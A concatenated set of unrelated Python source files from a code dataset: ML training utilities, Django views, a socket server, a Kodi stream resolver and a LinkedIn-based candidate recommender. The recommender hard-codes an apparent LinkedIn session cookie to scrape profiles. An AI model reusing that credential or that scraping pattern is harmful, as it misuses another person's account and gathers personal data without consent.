TrainerConfig:\n    max_epochs = 10\n    batch_size = 128\n    betas = (0.9, 0.95)\n    grad_norm_clip = 1.0\n    num_workers = 0 # for DataLoader\n\n    len_data = None # required for CosineAnnealing\n    sample_every = 5 # after how many epochs to log\n    num_batch = None\n    \n    patience = 5 # training stops after patience runs out\n\n    def __init__(self, **kwargs):\n        self.attrs = []\n        for k,v in kwargs.items():\n            setattr(self, k, v)\n            self.attrs.append(k)\n\n    def __repr__(self):\n        return \"---- TRAINER CONFIGURATION ----\\n\" + \\\n            \"\\n\".join([f\"{k}\\t{getattr(self, k)}\" for k in list(set([\n                \"max_epochs\",\n                \"batch_size\",\n                \"betas\",\n                \"grad_norm_clip\",\n                \"num_workers\",\n                \"sample_every\",\n                \"num_batch\",\n                \"len_data\",\n                \"patience\"\n            ] + self.attrs))\n        ]) + \"\\n\"\n\n# funcs\ndef set_seed(seed):\n    if seed is not None:\n        random.seed(seed)\n        np.random.seed(seed)\n        torch.manual_seed(seed)\n        torch.cuda.manual_seed_all(seed)","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":11250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"215101075","text":"from django.shortcuts import render\nfrom django.utils import timezone\nfrom django.db import models\nfrom .models import Post, Category\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import redirect\nfrom django.contrib.auth.models import User\nfrom .forms import PostForm, CommentForm\nfrom django.shortcuts import render, get_object_or_404\n\n\n\n\n#clash\n@login_required(login_url='login')\ndef clash(request):\n    if request.user.is_authenticated():\n        username = '/chat.html?userid=' + request.user.username + '&nickname=' + request.user.username\n    return redirect(username)\n\n@login_required(login_url='login')\ndef chat(request):\n    categories = Category.objects.all(),\n    posts = Post.objects.filter(category=1, published_date__lte=timezone.now()).order_by('-published_date')\n    posts2 = Post.objects.filter(slug=\"Slug1\")\n    username = '/chat.html?userid=&nickname=' + request.user.username\n\n\n\n    return render(request, 'gamehub/chat.html', {\n        'posts' : posts,\n        'posts2' : posts2,\n        #'liked': liked,\n    })\n\n   #end clash\n\n    if request.get_full_path != username:\n        return HttpResponseRedirect('/index/')\n\n\t \ndef post_new(request):\n\tif request.method == \"POST\":\n\t\tform = PostForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.author = request.user\n\t\t\tpost.published_date = timezone.now()\n\t\t\tpost.publish()\n\t\t\treturn redirect('post_detail', pk=post.pk)\n\telse:\n\t\tform = PostForm()\n\treturn render(request, 'gamehub/post_edit.html', {'form': form})\n\n    \ndef post_detail(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    return render(request, 'gamehub/post_detail.html', {'post': post})\n\n\n\n\n\n#play\n@login_required(login_url='login')\ndef play(request):\n    posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n    if request.user.is_authenticated():\n        username = '/play.html?userid=' + request.user.username + '&nickname=' + request.user.username\n    return redirect(username)\n\n@login_required(login_url='login')\ndef chat1(request):\n    categories = Category.objects.all(),\n    posts = Post.objects.filter(category=3, published_date__lte=timezone.now()).order_by('-published_date')\n    posts2 = Post.objects.filter(slug=\"Slug1\")\n    username = '/play.html?userid=&nickname=' + request.user.username\n    \n  \n\n    return render(request, 'gamehub/play.html', {\n        'posts' : posts,\n        'posts2' : posts2,\n        \n    })\n\n\n\t\n#end play\n\n#Xbox\n@login_required(login_url='login')\ndef xbox(request):\n    posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n    if request.user.is_authenticated():\n        username = '/xbox.html?userid=' + request.user.username + '&nickname=' + request.user.username\n    return redirect(username)\n\n@login_required(login_url='login')\ndef chat3(request):\n    categories = Category.objects.all(),\n    posts = Post.objects.filter(category=4, published_date__lte=timezone.now()).order_by('-published_date')\n    posts2 = Post.objects.filter(slug=\"Slug1\")\n    username = '/xbox.html?userid=&nickname=' + request.user.username\n\n    return render(request, 'gamehub/xbox.html', {\n        'posts' : posts,\n        'posts2' : posts2,\n        \n    })\n\n\n#end xbox\n\n\n#steam\n@login_required(login_url='login')\ndef steam(request):\n    posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n    if request.user.is_authenticated():\n        username = '/steam.html?userid=' + request.user.username + '&nickname=' + request.user.username\n    return redirect(username)\n\n@login_required(login_url='login')\ndef chat2(request):\n    categories = Category.objects.all(),\n    posts = Post.objects.filter(category=5, published_date__lte=timezone.now()).order_by('-published_date')\n    posts2 = Post.objects.filter(slug=\"Slug1\")\n    username = '/chat.html?userid=&nickname=' + request.user.username\n\n    return render(request, 'gamehub/steam.html', {\n        'posts' : posts,\n        'posts2' : posts2,\n        \n    })\n\n#end steam\n\n\n\ndef add_comment_to_post(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    if request.method == \"POST\":\n        form = CommentForm(request.POST)\n        if form.is_valid():\n            comment = form.save(commit=False)\n            comment.author = request.user\n            comment.post = post\n            comment.approve()\n            return redirect('post_detail', pk=post.pk)\n    else:\n        form = CommentForm()\n    return render(request, 'gamehub/add_comment_to_post.html', {'form': form})\n\n   \ndef pagination_ajax(request, pk=None):\n    if not request.is_ajax():\n        return Http404()\n\n    if pk is not None:\n        # I'm doing an extra query because datetime serialization/deserialization is hard\n        date = timezone.now()\n    else:\n        # is requesting the first page\n        date = None\n\n    posts = Post.objects.all()\n    paginator = SeekPaginator(posts, per_page=5, lookup_field='date')\n\n    try:\n        page = paginator.page(value=date, pk=pk)\n    except EmptyPage:\n        data = {'error': \"this page is empty\", }\n    else:\n        posts_list = [{\"title\": a.title, } for a in page]\n        data = {'articles': posts_list,\n                'has_next': page.has_next(),\n                'pk': page.next_page_pk()}\n\n    return HttpResponse(json.dumps(data), content_type=\"application/json\")\n\n\n#like button\n\"\"\"def like_count_blog(request):\n    liked = False\n    if request.method == 'GET':\n        post_id = request.GET['post_id']\n        post = Post.objects.get(id=int(post_id))\n        if request.session.get('has_liked_'+post_id, liked):\n            print(\"unlike\")\n            if post.likes > 0:\n                likes = post.likes - 1\n                try:\n                    del request.session['has_liked_'+post_id]\n                except KeyError:\n                    print(\"keyerror\")\n        else:\n            print(\"like\")\n            request.session['has_liked_'+post_id] = True\n            likes = post.likes + 1\n    post.likes = likes\n    post.save()\n    return HttpResponse(likes, liked)\"\"\"\n\n\n\n\n\n\ndef login(request):\n\treturn render(request, 'gamehub/login.html', {})\n\ndef register(request):\n\treturn render(request, 'gamehub/register.html', {})\n\ndef home(request):\n\treturn render(request, 'gamehub/home.html', {})\n\n\n","sub_path":"gamehub/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"58626718","text":"import os\nimport sys\n\nimport dropbox\n\nOH = os.environ[\"OH\"]\nDROPBOX_TOKEN = os.environ[\"DROPBOX_TOKEN\"]\n\nidentifier = sys.argv[1]\n\nOH_DROPBOX = \"/Teamwide/1_Oral_Histories\"\n\ndbx = dropbox.Dropbox(DROPBOX_TOKEN)\n\ndbx.files_download_zip_to_file(\n    f\"{OH}/{identifier}.zip\", f\"{OH_DROPBOX}/{identifier}\"\n)\n","sub_path":"downloadZipFromDropbox.py","file_name":"downloadZipFromDropbox.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"473367573","text":"# 引用Paddlelite预测库\nimport paddlelite.lite as lite\n\n# 1. 创建opt实例\nopt=lite.Opt()\n# 2. 指定输入模型地址\nopt.set_model_file(\"F:\\\\python代码\\\\mastercar\\\\myself\\\\__model__\\\\__model__\")\nopt.set_param_file(\"F:\\\\python代码\\\\mastercar\\\\myself\\\\__model__\\\\__params__\")\n# 3. 指定转化类型： arm、x86、opencl、npu\nopt.set_valid_places(\"x86\")\nopt.set_model_type('naive_buffer')\n# 4. 输出模型地址\nopt.set_optimize_out(\"mobilenetv1_opt\")\n# 5. 执行模型优化\nopt.run()\n\n\n","sub_path":"mastercar/myself/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"454080262","text":"\"\"\"\n基于多进程的网络并发模型\n重点代码 ！！\n\n创建网络套接字\n等待客户端连接\n有客户端连接，则创建新的进程具体处理请求\n父进程继续等待连接其��客户端\n如果客户端退出，则销毁对应的进程\n\"\"\"\nfrom socket import *\nfrom multiprocessing import Process\nimport sys\n\n# 服务器绑定地址\nHOST = \"0.0.0.0\"\nPORT = 8888\nADDR = (HOST, PORT)\n\n# 处理客户端具体请求　（根据业务逻辑编写）\ndef handle(connfd):\n    while True:\n        data = connfd.recv(1024)\n        if not data:\n            break\n        print(data.decode())\n        connfd.send(b\"OK\")\n    connfd.close()\n\n# 并发网络服务搭建\ndef main():\n    # 创建tcp套接字\n    sock = socket()\n    sock.bind(ADDR)\n    sock.listen(5)\n    print(\"Listen the port %d\" % PORT)\n\n    # 循环等待客户端连接\n    while True:\n        try:\n            connfd,addr = sock.accept()\n            print(\"Connect from\",addr)\n        except KeyboardInterrupt:\n            sock.close()\n            sys.exit(\"服务端退出\")\n\n        # 为连接上的客户端创建子进程\n        p = Process(target=handle,args=(connfd,),daemon=True)\n        p.start()\n\nif __name__ == '__main__':\n    main()\n\n\n","sub_path":"note/day15_all/day15/process_server.py","file_name":"process_server.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"381212003","text":"# -*- coding: utf-8 -*-\n\nimport re,urllib,urlparse\nfrom resources.lib.libraries import cloudflare\nfrom resources.lib.libraries import client\n\n\ndef resolve(url):\n    try:\n        result = cloudflare.request(url)\n\n        post = {}\n        f = client.parseDOM(result, 'Form', attrs = {'action': '' })\n        k = client.parseDOM(f, 'input', ret='name', attrs = {'type': 'hidden'})\n        for i in k: post.update({i: client.parseDOM(f, 'input', ret='value', attrs = {'name': i})[0]})\n        post.update({'method_free': 'Watch Free!'})\n        post = urllib.urlencode(post)\n\n        result = cloudflare.request(url, post=post)\n        result = result.replace('\\\\/', '/').replace('\\n', '').replace('\\'', '\"').replace(' ', '')\n\n        swfUrl = re.compile('\\.embedSWF\\(\"(.+?)\"').findall(result)[0]\n        swfUrl = urlparse.urljoin(url, swfUrl)\n\n        streamer = re.compile('flashvars=.+?\"file\":\"(.+?)\"').findall(result)[0]\n\n        playpath = re.compile('flashvars=.+?p2pkey:\"(.+?)\"').findall(result)[0]\n\n        url = '%s playpath=%s conn=S:%s pageUrl=%s swfUrl=%s swfVfy=true timeout=20' % (streamer, playpath, playpath, url, swfUrl)\n\n        return url\n    except:\n        return\n\n\n","sub_path":"plugin.video.doofree_old/resources/lib/resolvers/videopremium.py","file_name":"videopremium.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"420745125","text":"import torch\nimport os\nimport time\nimport utils\nfrom .trainFunction import *\n\ndef train_Epoch(args, state_info, Train_loader, Test_loader): # all \n    start_time = time.time()\n    best_prec_result = torch.tensor(0, dtype=torch.float32)\n    mode = args.model\n    utils.default_model_dir = os.path.join(args.dir, mode)\n    \n    start_epoch = 0\n    checkpoint = None\n    checkpoint = utils.load_checkpoint(utils.default_model_dir)    \n    if not checkpoint:\n        args.last_epoch = -1\n        state_info.learning_scheduler_init(args, mode)\n    else:\n        print(\"loading {}/{}\".format(utils.default_model_dir, \"checkpoint_best.pth.tar\"))\n        state_info.load_state_dict(checkpoint, mode)\n        state_info.learning_scheduler_init(args, mode)\n        utils.default_model_dir = os.path.join(utils.default_model_dir, \"cls\")\n\n    for epoch in range(0, args.epoch):\n\n        epoch_result = train(args, state_info, Train_loader, Test_loader, epoch)\n        \n        if epoch_result > best_prec_result:\n            best_prec_result = epoch_result\n            utils.save_state_checkpoint(state_info, best_prec_result, epoch, 'checkpoint_best.pth.tar', utils.default_model_dir)\n            print('save..')\n\n        if args.use_switch and epoch % args.iter == args.iter-1:\n            utils.switching_learning(state_info.model.module)\n            print('learning Gate')\n            epoch_result = train(args, state_info, Train_loader, Test_loader, epoch)\n        \n            if epoch_result > best_prec_result:\n                best_prec_result = epoch_result\n                utils.save_state_checkpoint(state_info, best_prec_result, epoch, 'checkpoint_best.pth.tar', utils.default_model_dir)\n                print('save..')        \n            \n            utils.switching_learning(state_info.model.module)\n            print('learning Base')\n\n        state_info.lr_model.step()\n        utils.print_log('')\n\n    now = time.gmtime(time.time() - start_time)\n    utils.print_log('Best Prec : {:.4f}'.format(best_prec_result.item()))\n    utils.print_log('{} hours {} mins {} secs for training'.format(now.tm_hour, now.tm_min, now.tm_sec))","sub_path":"Graduate/train/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"135997615","text":"# -*- coding:utf-8 -*-\nfrom django import template\nfrom django.template.defaultfilters import stringfilter\nfrom startnight.utils import rzeros as rzeros_utils\n\nregister = template.Library()\n\n@register.filter(is_safe=True)\n@stringfilter\ndef rzeros(value, arg):\n    \"\"\"\n    Coloca zeros a direita da string\n\n    Argument: field size.\n    \"\"\"\n    return rzeros_utils(value, arg)\n\n@register.filter(is_safe=True)\n@stringfilter\ndef to_str(value):\n    return str(value)\n\n@register.filter(is_safe=True)\ndef to_int(value):\n    return int(value)\n\n@register.filter(is_safe=True)\n@stringfilter\ndef mes_nome(value):\n    try:\n        value = int(value)\n        lista_mes = ('', u'Janeiro', u'Fevereiro', u'Março', u'Abril', u'Maio', u'Junho', u'Julho', u'Agosto', u'Setembro', u'Outubro', u'Novembro', u'Dezembro', )\n        return lista_mes[value]\n    except:\n        return value","sub_path":"startnight/startnight/utils/templatetags/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"378894140","text":"#문제1\nfor i in range(101):\n    print(i)\n\n#문제2\nsum = 0\nfor j in range(1001):\n    if j % 5 ==0:\n        sum += j\nprint(sum)\n\n#문제3\nA = [70, 60, 55, 75, 95, 90, 80, 80, 85, 100]\nresult = 0\nfor score in A:\n    result += score\navg = result / len(A)\nprint(avg)\n\n#문제4\nh = ['A', 'B', 'A', 'O', 'AB', 'AB', 'O', 'A', 'B', 'O', 'B', 'AB']\nrst = {}\nfor data in h:\n    if data in rst:\n        rst[data] += 1\n    else:\n        rst[data] = 1\nprint(rst)\n\n#문제5\nnumbers = [1, 2, 3, 4, 5]\nr = [n*2 for n in numbers if n%2==1]\nprint(r)\n\n#문제6\nsen = \"Life is too short, you need python\"\nprint(\"\".join([j for j in sen if j not in 'aeiou']))","sub_path":"Section3/for_sentence.py","file_name":"for_sentence.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"529798928","text":"from django.shortcuts import render,redirect\nfrom django.http import HttpResponse\nfrom django.contrib.auth.models import User , auth\nfrom django.contrib.auth.decorators  import login_required\nimport pandas as pd\nfrom Wevioo import *\nimport threading\nimport pickle\n\n\n\n# Create your views here.\nwith open ('Data/ProfilsIdeaux', 'rb') as fp:\n    profilIdeaux = pickle.load(fp)\nwith open ('Data/RecommendationModel1', 'rb') as fp:\n    rec = pickle.load(fp)\ncandidat = pd.read_csv(\"Data/candidats.csv\")\ndf = pd.read_csv(\"Data/df_final_2.csv\")\ndfClean = df.iloc[:,2:]\ndictProfile = {\n        \"Développeur Web Back-End\" : 0,\n        \"Developpeur Front-End\" : 1,\n        \"Développeur Embarqué Middleware\" : 2,\n        \"Technical Lead/ Architecte JEE\" : 3,\n        \"Développeur FullStack JS\" : 4,\n        \"Développeur JAVA/JEE\" : 5,\n        \"Développeur PHP/Symfony\" : 6,\n        \"Développeur DRUPAL\" : 7,\n        \"Product Owner/ PO\" :8,\n\n    } \n\ndef login(request):\n    b=11\n    if request.method == 'POST':\n        username = request.POST['username']\n        password = request.POST['password']\n        print(password)\n        user = auth.authenticate(username=username,password=password)\n        if user is not None:\n            auth.login(request,user)\n            if(user.is_superuser):\n                return redirect('adminIndex')\n            else:\n                return redirect('userIndex')\n        return render(request,'BackOffice/login.html',{'err':'user not found'})\n\n    else:       \n        return render(request,\"BackOffice/login.html\")        \n\n\n\n@login_required\ndef adminIndex(request):\n    user = request.user.username\n\n    ########### HIGH DEGREE ##########\n    license = len(df[df[\"high_degree_score\"]==1])\n    master = len(df[df[\"high_degree_score\"]==2])\n    ing = len(df[df[\"high_degree_score\"]==3])\n    ingMast = len(df[df[\"high_degree_score\"]==4])\n    unknown = len(df[df[\"high_degree_score\"]==0])\n    \n    ########## MOBILITY #############\n    mobile = len(df[df[\"mobilité\"]==1])/100\n    nonmobile = len(df[df[\"mobilité\"]==0])/100\n    data = [license,master,ing,ingMast,unknown,mobile,nonmobile]\n    ########## TOP SKILLS ###########\n    topskills = top5Skills(candidat)\n    ########## Languages ############\n    lang1 = len(df[df[\"languages\"]==0])\n    lang2 = len(df[df[\"languages\"]==1])\n    lang3= len(df[df[\"languages\"]==2])\n    lang4 = len(df[df[\"languages\"]==3])\n    lang  = [lang1,lang2,lang3,lang4]\n    ########## EXPERIENCES ############\n    twoyears = len(df[df[\"months_experience\"]<=24])/100\n    threeyears = len(df[(df[\"months_experience\"]>24) & (df[\"months_experience\"]<=36)])/100\n    fouryears = len(df[(df[\"months_experience\"]>36) & (df[\"months_experience\"]<=48)])/100\n    fiveyears = len(df[(df[\"months_experience\"]>48) & (df[\"months_experience\"]<=60)])/100\n    more_than_five_years =len(df[(df[\"months_experience\"]>60)])/100\n    experience = [twoyears,threeyears,fouryears,fiveyears,more_than_five_years]\n    return render(request,\"BackOffice/indexAdmin.html\",{'username' : user,'Data':data,'skills':topskills,'lang':lang,'exp':experience})\n\n@login_required\ndef pendarationBack(request):\n    user = request.user.username\n    with open ('Data/Dict_Profil_Competence', 'rb') as fp:\n        dictionnaire = pickle.load(fp)\n    if(request.method == 'POST'):\n        for key,value in dictionnaire.items():\n            for key1,value1 in value.items():\n                dictionnaire[key][key1]=request.POST[key1+\" \"+key]\n        print(dictionnaire)       \n        \n    with open('Data/Dict_Profil_Competence', 'wb') as fp:\n        pickle.dump(dictionnaire, fp)\n    return render(request,\"BackOffice/penderation.html\",{'username' : user,'dict' : dictionnaire})\n\n\n@login_required\ndef userIndex(request):\n    user = request.user.username\n    return render(request,\"FrontOffice/indexUser.html\",{'username' : user})\n\n\ndef logout(request):\n    auth.logout(request)\n    return redirect(\"login\")\n\n\n@login_required\ndef allCandidates(request):\n    user = request.user.username\n    df = pd.read_csv(\"Data/df_final_2.csv\")\n    df1 = df.iloc[0:50,[0,1]]\n    df1.columns=[\"LinkedIn URL\",\"Name and LastName\"]\n    return render(request,\"BackOffice/allCandidates.html\",{'DataFrame' : df1,'username':user})\n\n@login_required\ndef cosine(request):\n    user = request.user.username\n    \n    if(request.method == 'POST'):\n        profile_score = request.POST[\"Profile\"]\n        index_score = dictProfile[profile_score] +2 \n        dfSimilarityCalculus = dfClean.iloc[:,[0,1,index_score,11,12,13,14]]\n        rec1 = RecommendationModel2(dfSimilarityCalculus,df,profilIdeaux,dfClean,None)\n        result = rec1.recommendTopn(profile_score,index_score,int(request.POST[\"numRec\"]))\n        result.columns=[\"LinkedIn URL\",\"Name and LastName\"]\n        return render(request,\"FrontOffice/cosineRecommendation.html\",{'username':user,'DataFrame':result})\n    return render(request,\"FrontOffice/cosineRecommendation.html\",{'username':user})\n\n@login_required\ndef difference(request):\n    user = request.user.username\n\n    if(request.method == 'POST'):\n        result = rec.recommender(request.POST[\"Profile\"],int(request.POST[\"numRec\"]))\n        return render(request,\"FrontOffice/differenceRecommendation.html\",{'username':user,'DataFrame':result})\n    return render(request,\"FrontOffice/differenceRecommendation.html\",{'username':user})\n\n@login_required\ndef euclidean(request):\n    user = request.user.username\n    if(request.method == 'POST'):\n        ch= request.POST[\"Profile\"]\n        ch=ch.replace('/', '')\n        print(\"############################################\"+ch)\n        with open ('Data/Modele_distance_euclidienne/'+ch, 'rb') as fp:\n            data = pickle.load(fp)\n        result = data.head(int(request.POST[\"numRec\"]))\n        return render(request,\"FrontOffice/euclideanRecommendation.html\",{'username':user,'DataFrame':result})\n    return render(request,\"FrontOffice/euclideanRecommendation.html\",{'username':user})\n\n@login_required\ndef decision(request):\n    user = request.user.username\n\n    if(request.method == 'POST'):\n        profile_score = request.POST[\"Profile\"]\n        index_score = dictProfile[profile_score] + 2 \n        dfSimilarityCalculus = dfClean.iloc[:,[0,1,index_score,11,12,13,14]]\n        rec1 = RecommendationModel2(dfSimilarityCalculus,df,profilIdeaux,dfClean,None)\n        dfCos = rec1.recommendTopn(profile_score,index_score,int(request.POST[\"numRec\"]))\n        \n        \n        dfDiff = rec.recommender(profile_score,int(request.POST[\"numRec\"]))\n\n        rec2 = RecommendationModel4(df)\n        dfScore = rec2.recommender(request.POST[\"Profile\"]).iloc[0:int(request.POST[\"numRec\"]),[0,1]]\n\n\n        ch= request.POST[\"Profile\"]\n        ch=ch.replace('/', '')\n        print(\"############################################\"+ch)\n        with open ('Data/Modele_distance_euclidienne/'+ch, 'rb') as fp:\n            data = pickle.load(fp)\n        dfEuc = data.head(int(request.POST[\"numRec\"]))\n\n        result = priseDedecision(request.POST[\"method\"],dfCos,dfDiff,dfScore,dfEuc,int(request.POST[\"numRec\"]))\n\n        return render(request,\"FrontOffice/priseDeDecision.html\",{'username':user,'DataFrame':result})\n    return render(request,\"FrontOffice/priseDeDecision.html\",{'username':user})\n\n\n\n@login_required\ndef similarity(request):\n    user = request.user.username\n    user = request.user.username\n    with open ('Data/ProfilsIdeaux', 'rb') as fp:\n        profilIdeaux = pickle.load(fp)\n    df = pd.read_csv(\"Data/df_final_2.csv\")\n    df_affiche = df.iloc[0:30,[1,2,3]]\n    df_affiche.columns=[\" \",\"LinkedIn URL\",\"Name and LastName\"]\n    if(request.method == 'POST'):\n        profile_username = request.POST[\"urlprofile\"][28:]\n        cookie = \"AQEDATB53fcBsaTWAAABccXf7DcAAAFx6exwN1YANvL_6nFmyrULi6T1gPVnjp0h91HkH1lEPVFyr00kgX4i2ASQOnzaHEGNkmPiPAyO2Xg7wv06406qzauKPJO37MNaGUbFBO_86L_UqbogzdVmCARO\"\n        profile = Preparation(profile_username,cookie)\n        df_scrapped = profile.preparer().iloc[:,2:]\n        dfClean = df.iloc[:,2:]\n        dfSimilarityCalculus = dfClean.iloc[:,[0,1,3,11,12,13,14]]\n        rec = RecommendationModel2(dfSimilarityCalculus,df,profilIdeaux,dfClean,df_scrapped)\n\n        topSimilarN = rec.similarProfileScrap() \n        \n        return render(request,\"FrontOffice/similariteCondidat.html\",{'username':user,'DataFrame' : topSimilarN})\n\n    return render(request,\"FrontOffice/similariteCondidat.html\",{'username':user})\n\n\n@login_required\ndef internalSimilarity(request):\n    user = request.user.username\n    with open ('Data/ProfilsIdeaux', 'rb') as fp:\n        profilIdeaux = pickle.load(fp)\n    df = pd.read_csv(\"Data/df_final_2.csv\")\n    df_affiche = df.iloc[0:30,[0,1]]\n    df_affiche.columns=[\"LinkedIn URL\",\"Name and LastName\"]\n    if(request.method == 'POST'):\n        dfClean = df.iloc[:,2:]\n        dfSimilarityCalculus = dfClean.iloc[:,[0,1,3,11,12,13,14]]\n        rec = RecommendationModel2(dfSimilarityCalculus,df,profilIdeaux,dfClean,None)\n        indexProfile = int(request.POST[\"indice\"])\n        topSimilarN = rec.similarProfile(indexProfile,10) \n        topSimilarN.columns=[\"LinkedIn URL\",\"Name and LastName\",\"Pourcentage de similarité\"]\n        return render(request,\"FrontOffice/similariteCondidatInterne.html\",{'username':user,'DataFrame' : topSimilarN})\n    return render(request,\"FrontOffice/similariteCondidatInterne.html\",{'username':user,'DataFrame' : df_affiche})\n\n@login_required\ndef scoring(request):\n    user = request.user.username\n    if(request.method == 'POST'):\n        rec1 = RecommendationModel4(df)\n        result = rec1.recommender(request.POST[\"Profile\"]).iloc[0:int(request.POST[\"numRec\"]),[0,1]]\n        return render(request,\"FrontOffice/scoringRecommendation.html\",{'username':user,'DataFrame' : result})\n    return render(request,\"FrontOffice/scoringRecommendation.html\",{'username':user})","sub_path":"RecommenderSystem/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"573514345","text":"from .callbacks import Callback\nfrom typing import Dict, List, Union, Optional\nfrom torch import Tensor, device\nfrom torch.nn import DataParallel\nfrom ..utils import get_device\nfrom torchgpipe import GPipe\nfrom torchgpipe_balancing import balance_by_time\n\n\n__all__ = ['ToDeviceCallback', 'ToGPipeDeviceCallback']\n\n\nclass ToDeviceCallback(Callback):\n    def __init__(self, device=get_device()):\n        self._device = device\n        self.learner = None\n\n    def on_train_begin(self):\n        self.learner._model = self.learner._model.to(self._device)\n\n    def on_batch_begin(self, data: Dict[str, Tensor], train: bool) -> Dict[str, Tensor]:\n        for key in data:\n            data[key] = data[key].to(self._device)\n        return data\n\n\nclass ToGPipeDeviceCallback(Callback):\n    \"\"\"\n    Set up for training using multiple gpus with GPipe algorithm\n    Using kakaobrain's torchgpipe library:\n    https://torchgpipe.readthedocs.io/en/stable/\n    Reference:\n    https://arxiv.org/pdf/1811.06965.pdf\n    \"\"\"\n    def __init__(self, input_keys, target_keys, partitions: int, sample: Tensor, chunks: int=16):\n        self.learner = None\n        self.input_keys = input_keys\n        self.target_keys = target_keys\n        self.partitions = partitions\n        self.sample = sample\n        self.chunks = chunks\n\n    def on_train_begin(self):\n        balance = balance_by_time(self.learner._model, self.sample, partitions=self.partitions)\n        self.learner._model = GPipe(self.learner._model, balance=balance, chunks=self.chunks)\n\n    def on_batch_begin(self, data: Dict[str, Tensor], train: bool) -> Dict[str, Tensor]:\n        in_device = self.learner._model.devices[0]\n        out_device = self.learner._model.devices[-1]\n        for key in data:\n            if key in self.input_keys:\n                data[key] = data[key].to(in_device, non_blocking=True)\n            elif key in self.target_keys:\n                data[key] = data[key].to(out_device, non_blocking=True)\n        return data\n\n\n# UNTESTED\nclass DataParallelismCallback(Callback):\n    \"\"\"\n    Callback for naive data parallelism: copy model to each device, then divide each batch into micro-batch for\n    independent processing\n    \"\"\"\n    def __init__(\n            self, device_ids: Optional[List[Union[int, device]]]=None,\n            output_device: Optional[Union[int, device]]=None, dim: int=0\n    ):\n        self.learner = None\n        self.device_ids = device_ids\n        self.ouput_device = output_device\n        self.dim = dim\n\n    def on_train_begin(self):\n        self._learner.model = DataParallel(self._learner.model, self.device_ids, self.ouput_device, self.dim)\n","sub_path":"nntoolbox/callbacks/device.py","file_name":"device.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"52375020","text":"\"\"\"\nWe're given a hashmap with a key courseId and value a list of courseIds,\nwhich represents that the prerequsite of courseId is courseIds.\nReturn a sorted ordering of courses such that we can finish all courses.\n\nReturn null if there is no such ordering.\n\nFor example, given {'CSC300': ['CSC100', 'CSC200'], 'CSC200': ['CSC100'], 'CSC100': []},\nshould return ['CSC100', 'CSC200', 'CSCS300'].\n\ntoposort with dfs / coloring\n\"\"\"\n\nimport collections\n\n\ndef get_ordering(mapping):\n    not_visited, pending, visited = 0, 1, 2\n\n    def dfs(node, status, result):\n        if status[node] == visited:\n            return True\n        if status[node] == pending:\n            # has cycle\n            return False\n\n        status[node] = pending\n        for nei in mapping[node]:\n            if not dfs(nei, status, result):\n                return False\n        status[node] = visited\n        result.append(node)\n        return True\n\n    result = []\n    status = collections.defaultdict(lambda: not_visited)\n    for node in mapping.keys():\n        if not dfs(node, status, result):\n            # or raise exception\n            return []\n\n    return result\n\n\nif __name__ == \"__main__\":\n    in1 = {\"CSC300\": [\"CSC100\", \"CSC200\"], \"CSC200\": [\"CSC100\"], \"CSC100\": []}\n    expected = [\"CSC100\", \"CSC200\", \"CSC300\"]\n    assert get_ordering(in1) == expected\n\n    in2 = {\"CSC300\": [\"CSC100\", \"CSC200\"], \"CSC200\": [\"CSC100\"], \"CSC100\": [\"CSC300\"]}\n    expected2 = []\n    assert get_ordering(in2) == expected2\n","sub_path":"old/dcp_series/dcp_92.py","file_name":"dcp_92.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"441089383","text":"class Solution:\n    def search(self, nums: List[int], target: int) -> int:\n        if not list:\n            return -1\n        start,end=0,len(nums)-1\n        while(start<=end):\n            middle=(start+end)//2\n            if nums[middle]==target:\n                return middle\n            elif nums[middle]>target:\n                end=middle - 1\n            else:\n                start=middle+1\n        \n        \n        \n        return -1\n    \n\n'''\nhttps://leetcode.com/problems/binary-search/\nnot pass: \n[5] 5\nstart,end=0\nfind 4\n[1,2,3] 4\nmiddle = 2\nstart=3, end =3\n\n\n\n//[1,2,3]\n// 0 1  2\nfind 1:\n    middle=0+2//2=1\n    end=1\n    \n    middle=(0+1)//2==0\n    find\n    \nfind 3:\n    middle=2+2//2=2\n    start=1\n    \n    middle=(2+1)//2==0\n    find\n'''\n","sub_path":"704_BinarySearch.py","file_name":"704_BinarySearch.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
